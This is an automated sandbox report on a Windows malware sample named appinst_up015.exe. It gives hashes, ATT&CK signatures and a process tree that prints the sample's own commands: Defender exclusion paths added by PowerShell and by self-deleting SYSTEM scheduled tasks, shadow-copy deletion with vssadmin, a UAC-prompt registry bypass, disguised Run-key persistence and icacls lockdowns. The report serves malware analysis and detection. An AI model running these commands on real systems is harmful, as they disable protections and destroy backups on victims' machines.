022fd650bf84b260d99c09d34d0add54b05a2fe06fc05f29779c4f018294e7ad

Analysis

max time kernel
137s
max time network
155s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
14/08/2026, 14:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
appinst_up015.exe
Size 36.8MB
Sample260814-re7vsavgra
SHA256 022fd650bf84b260d99c09d34d0add54b05a2fe06fc05f29779c4f018294e7ad
MD5 b2c561687457623f83dca4d8aa72d953
SHA1 4738f1c3543522ac8acb9895865c31d3925762cc
SHA512 57fbe27b741fbfbc12705db9933cf495aea619e6a483a523072cc0960e2bf0b228913bb1e51edd34e383d2218f85dbdc4ea969ea6a0ed7e9b7fb60bd08d9024f
SSDEEP 196608:ZFnmfRW0ATZPh7c2Qp3BqtiEPFNPyDhC81eHIE:/SRgXQhDhf1u5
TLSH
T18787F84ABB41CDD9E136923894AB5F01E331E97186B1976333B02729CFDB38C8F66558
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence privilege_escalation trojan upx

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	am0gDd.exe

Windows security bypass 2 TTPs 4 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\NACsnd = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1096	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	am0gDd.exe

Executes dropped EXE 5 IoCs

pid	Process
6076	jA4zO1.exe
4240	jA4zO1.exe
5428	am0gDd.exe
3880	am0gDd.exe
4180	rATolH5.exe

Loads dropped DLL 5 IoCs

pid	Process
6076	jA4zO1.exe
4240	jA4zO1.exe
5428	am0gDd.exe
3880	am0gDd.exe
4180	rATolH5.exe

Modifies file permissions 1 TTPs 15 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5868	icacls.exe
3040	icacls.exe
5980	icacls.exe
5164	icacls.exe
5492	icacls.exe
4656	icacls.exe
5544	icacls.exe
4328	icacls.exe
5084	icacls.exe
1092	icacls.exe
2488	icacls.exe
3256	icacls.exe
4768	icacls.exe
2580	icacls.exe
760	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\NACsnd\\jA4zO1.exe\""	jA4zO1.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\syUiPl\\am0gDd.exe\""	am0gDd.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
3016	cmd.exe
5036	cmd.exe
1800	cmd.exe
3400	cmd.exe
996	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	jA4zO1.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000e00000001c424-810.dat	upx

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\syUiPl\thumbs.db	jA4zO1.exe
File opened for modification	C:\Program Files (x86)\AhS97Rqt\rATolH5.exe	am0gDd.exe
File created	C:\Program Files (x86)\AhS97Rqt\image.png	am0gDd.exe
File opened for modification	C:\Program Files (x86)\AhS97Rqt\XPSPLOG.dll	am0gDd.exe
File created	C:\Program Files (x86)\syUiPl\image.png	jA4zO1.exe
File opened for modification	C:\Program Files (x86)\syUiPl\am0gDd.exe	jA4zO1.exe
File opened for modification	C:\Program Files (x86)\syUiPl\image.png	jA4zO1.exe
File opened for modification	C:\Program Files (x86)\AhS97Rqt\image.png	am0gDd.exe
File created	C:\Program Files (x86)\AhS97Rqt\XPSPLOG.dll	am0gDd.exe
File opened for modification	C:\Program Files (x86)\syUiPl	jA4zO1.exe
File created	C:\Program Files (x86)\AhS97Rqt\rATolH5.exe	am0gDd.exe
File created	C:\Program Files (x86)\AhS97Rqt\thumbs.db	am0gDd.exe
File opened for modification	C:\Program Files (x86)\AhS97Rqt\thumbs.db	am0gDd.exe
File created	C:\Program Files (x86)\syUiPl\XPSPLOG.dll	jA4zO1.exe
File created	C:\Program Files (x86)\syUiPl\thumbs.db	jA4zO1.exe
File opened for modification	C:\Program Files (x86)\syUiPl\XPSPLOG.dll	jA4zO1.exe
File opened for modification	C:\Program Files (x86)\AhS97Rqt	am0gDd.exe
File created	C:\Program Files (x86)\syUiPl\am0gDd.exe	jA4zO1.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	am0gDd.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\SCRNSAVE.EXE	am0gDd.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\ScreenSaveActive = "0"	am0gDd.exe

Executes a command shell one-liner 1 TTPs 21 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3244	cmd.exe
5672	cmd.exe
5952	cmd.exe
4692	cmd.exe
3768	cmd.exe
4980	cmd.exe
3548	cmd.exe
2292	cmd.exe
3544	cmd.exe
4972	cmd.exe
2460	cmd.exe
4832	cmd.exe
2052	cmd.exe
2344	cmd.exe
4856	cmd.exe
1376	cmd.exe
2824	cmd.exe
3020	cmd.exe
5904	cmd.exe
5552	cmd.exe
3164	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	am0gDd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	am0gDd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rATolH5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	am0gDd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	am0gDd.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\ScreenSaveActive = "0"	am0gDd.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	am0gDd.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	am0gDd.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\SCRNSAVE.EXE	am0gDd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4320	schtasks.exe
5376	schtasks.exe
5636	schtasks.exe
5536	schtasks.exe
5672	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1856	appinst_up015.exe
1856	appinst_up015.exe
1856	appinst_up015.exe
1856	appinst_up015.exe
1856	appinst_up015.exe
1856	appinst_up015.exe
1856	appinst_up015.exe
1856	appinst_up015.exe
1856	appinst_up015.exe
1856	appinst_up015.exe
1856	appinst_up015.exe
1856	appinst_up015.exe
1856	appinst_up015.exe
1856	appinst_up015.exe
1856	appinst_up015.exe
1856	appinst_up015.exe
1856	appinst_up015.exe
1856	appinst_up015.exe
1856	appinst_up015.exe
1856	appinst_up015.exe
1856	appinst_up015.exe
1856	appinst_up015.exe
1856	appinst_up015.exe
1856	appinst_up015.exe
1856	appinst_up015.exe
1856	appinst_up015.exe
1856	appinst_up015.exe
1856	appinst_up015.exe
1856	appinst_up015.exe
1856	appinst_up015.exe
1856	appinst_up015.exe
1856	appinst_up015.exe
6076	jA4zO1.exe
6076	jA4zO1.exe
6076	jA4zO1.exe
6076	jA4zO1.exe
6076	jA4zO1.exe
6076	jA4zO1.exe
6076	jA4zO1.exe
6076	jA4zO1.exe
6076	jA4zO1.exe
6076	jA4zO1.exe
6076	jA4zO1.exe
6076	jA4zO1.exe
6076	jA4zO1.exe
6076	jA4zO1.exe
6076	jA4zO1.exe
6076	jA4zO1.exe
6076	jA4zO1.exe
6076	jA4zO1.exe
6076	jA4zO1.exe
6076	jA4zO1.exe
6076	jA4zO1.exe
6076	jA4zO1.exe
6076	jA4zO1.exe
6076	jA4zO1.exe
6076	jA4zO1.exe
6076	jA4zO1.exe
6076	jA4zO1.exe
6076	jA4zO1.exe
6076	jA4zO1.exe
6076	jA4zO1.exe
6076	jA4zO1.exe
6076	jA4zO1.exe

Suspicious behavior: LoadsDriver 8 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	1096	powershell.exe
Token: SeIncreaseQuotaPrivilege	1096	powershell.exe
Token: SeSecurityPrivilege	1096	powershell.exe
Token: SeTakeOwnershipPrivilege	1096	powershell.exe
Token: SeLoadDriverPrivilege	1096	powershell.exe
Token: SeSystemProfilePrivilege	1096	powershell.exe
Token: SeSystemtimePrivilege	1096	powershell.exe
Token: SeProfSingleProcessPrivilege	1096	powershell.exe
Token: SeIncBasePriorityPrivilege	1096	powershell.exe
Token: SeCreatePagefilePrivilege	1096	powershell.exe
Token: SeBackupPrivilege	1096	powershell.exe
Token: SeRestorePrivilege	1096	powershell.exe
Token: SeShutdownPrivilege	1096	powershell.exe
Token: SeDebugPrivilege	1096	powershell.exe
Token: SeSystemEnvironmentPrivilege	1096	powershell.exe
Token: SeRemoteShutdownPrivilege	1096	powershell.exe
Token: SeUndockPrivilege	1096	powershell.exe
Token: SeManageVolumePrivilege	1096	powershell.exe
Token: 33	1096	powershell.exe
Token: 34	1096	powershell.exe
Token: 35	1096	powershell.exe
Token: 36	1096	powershell.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 6076 wrote to memory of 1096	6076	jA4zO1.exe	91
PID 6076 wrote to memory of 1800	6076	jA4zO1.exe	94
PID 1800 wrote to memory of 5636	1800	cmd.exe	97
PID 1800 wrote to memory of 3000	1800	cmd.exe	98
PID 6076 wrote to memory of 3400	6076	jA4zO1.exe	100
PID 6076 wrote to memory of 996	6076	jA4zO1.exe	104
PID 1800 wrote to memory of 2896	1800	cmd.exe	106
PID 3400 wrote to memory of 5536	3400	cmd.exe	107
PID 996 wrote to memory of 5672	996	cmd.exe	108
PID 6076 wrote to memory of 3016	6076	jA4zO1.exe	110
PID 3400 wrote to memory of 1696	3400	cmd.exe	112
PID 3016 wrote to memory of 4320	3016	cmd.exe	114
PID 996 wrote to memory of 5644	996	cmd.exe	115
PID 3400 wrote to memory of 5516	3400	cmd.exe	116
PID 6076 wrote to memory of 5036	6076	jA4zO1.exe	117
PID 996 wrote to memory of 3444	996	cmd.exe	119
PID 3016 wrote to memory of 2504	3016	cmd.exe	120
PID 5036 wrote to memory of 5376	5036	cmd.exe	121
PID 3016 wrote to memory of 2416	3016	cmd.exe	122
PID 5036 wrote to memory of 1552	5036	cmd.exe	123
PID 5036 wrote to memory of 5696	5036	cmd.exe	124
PID 3020 wrote to memory of 5896	3020	cmd.exe	126
PID 5904 wrote to memory of 2488	5904	cmd.exe	127
PID 6076 wrote to memory of 5428	6076	jA4zO1.exe	129
PID 5428 wrote to memory of 3768	5428	am0gDd.exe	132
PID 5428 wrote to memory of 4980	5428	am0gDd.exe	133
PID 5428 wrote to memory of 3544	5428	am0gDd.exe	135
PID 5428 wrote to memory of 5552	5428	am0gDd.exe	138
PID 4980 wrote to memory of 3040	4980	cmd.exe	140
PID 5428 wrote to memory of 3164	5428	am0gDd.exe	141

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	am0gDd.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\appinst_up015.exe
"C:\Users\Admin\AppData\Local\Temp\appinst_up015.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:1856

C:\Users\Public\NACsnd\jA4zO1.exe
"C:\Users\Public\NACsnd\jA4zO1.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:6076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:1096
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\NACsnd\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1800
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\NACsnd\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5636
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3000
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3400
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5536
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1696
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:996
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5672
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5644
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3016
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4320
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2504
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5036
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5376
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1552
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5696
- C:\Program Files (x86)\syUiPl\am0gDd.exe
  "C:\Program Files (x86)\syUiPl\am0gDd.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Event Triggered Execution: Screensaver
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:5428
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3768
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\syUiPl" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4980
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\syUiPl" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3040
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3544
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5552
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3164
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\syUiPl" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:3244
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\syUiPl" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:2580
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\syUiPl" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    PID:2292
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\syUiPl" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Modifies file permissions
      PID:5084
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\syUiPl\am0gDd.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:2344
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\syUiPl\am0gDd.exe" /inheritance:r
      4⤵
      Modifies file permissions
      PID:5980
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\syUiPl\am0gDd.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:3548
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\syUiPl\am0gDd.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:3256
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\syUiPl\am0gDd.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:4692
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\syUiPl\am0gDd.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:1092
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\syUiPl\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:5952
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\syUiPl\image.png" /inheritance:r
      4⤵
      Modifies file permissions
      PID:760
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\syUiPl\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:5672
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\syUiPl\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:4328
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\syUiPl\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:2052
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\syUiPl\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:5868
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\syUiPl\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:4832
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\syUiPl\thumbs.db" /inheritance:r
      4⤵
      Modifies file permissions
      PID:4768
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\syUiPl\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:2824
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\syUiPl\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:5544
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\syUiPl\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:4972
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\syUiPl\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:5164
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\syUiPl\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:2460
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\syUiPl\XPSPLOG.dll" /inheritance:r
      4⤵
      Modifies file permissions
      PID:4656
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\syUiPl\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:4856
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\syUiPl\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:5492
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\syUiPl\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:1376
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\syUiPl\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Modifies file permissions
      PID:2488

C:\Users\Public\NACsnd\jA4zO1.exe
"C:\Users\Public\NACsnd\jA4zO1.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4240

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\NACsnd" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
